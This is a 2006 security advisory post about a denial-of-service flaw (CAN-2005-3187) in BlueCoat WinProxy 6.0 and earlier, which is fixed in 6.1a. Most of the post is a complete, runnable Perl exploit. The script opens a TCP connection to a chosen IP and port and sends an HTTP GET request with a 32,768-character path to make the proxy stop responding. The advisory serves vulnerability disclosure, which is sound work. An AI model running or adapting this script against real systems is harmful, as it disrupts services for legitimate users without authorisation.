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[EXPL] BlueCoat WinProxy HTTP DoS (Exploit)

Subject: [EXPL] BlueCoat WinProxy HTTP DoS (Exploit)
Date: 8 Jan 2006 13:53:11 +0200
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  BlueCoat WinProxy HTTP DoS (Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://www.winproxy.com/> BlueCoat WinProxy is "an Internet sharing 
proxy server". Improper handling of long requests within BlueCoat WinProxy 
allow attackers to cause the program to no longer respond to legitimate 
requests.

DETAILS

Vulnerable Systems:
 * WinProxy version 6.0 and prior

Immune Systems:
 * WinProxy version 6.1a

Exploit:
#!perl
#
# "WinProxy 6.0 R1c" Remote DoS Exploit
#
# Author:  FistFucker
# e-Mail:  FistFuXXer at gmx.de
#
#
# Advisory:
# http://www.idefense.com/intelligence/vulnerabilities/display.php?id=363
#
# CVE info:
# CAN-2005-3187
#

use IO::Socket;

#
# destination IP address
#
$ip = '127.0.0.1';

#
# destination TCP port
#
$port = 80;


print '"WinProxy 6.0 R1c" Remote DoS Exploit'."\n\n";

$sock = IO::Socket::INET->new
(

    PeerAddr => $ip,
    PeerPort => $port,
    Proto    => 'tcp',
    Timeout  => 2

) or print '[-] Error: Could not establish a connection to the server!' 
and exit(1);

print "[+] Connected.\n";

$sock->send('GET /'. 'A' x 32768 ." HTTP/1.1\r\n\r\n");

print "[+] DoS string has been sent.";

close($sock);

#EoF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:FistFuXXer@gmx.de> 
FistFucker.



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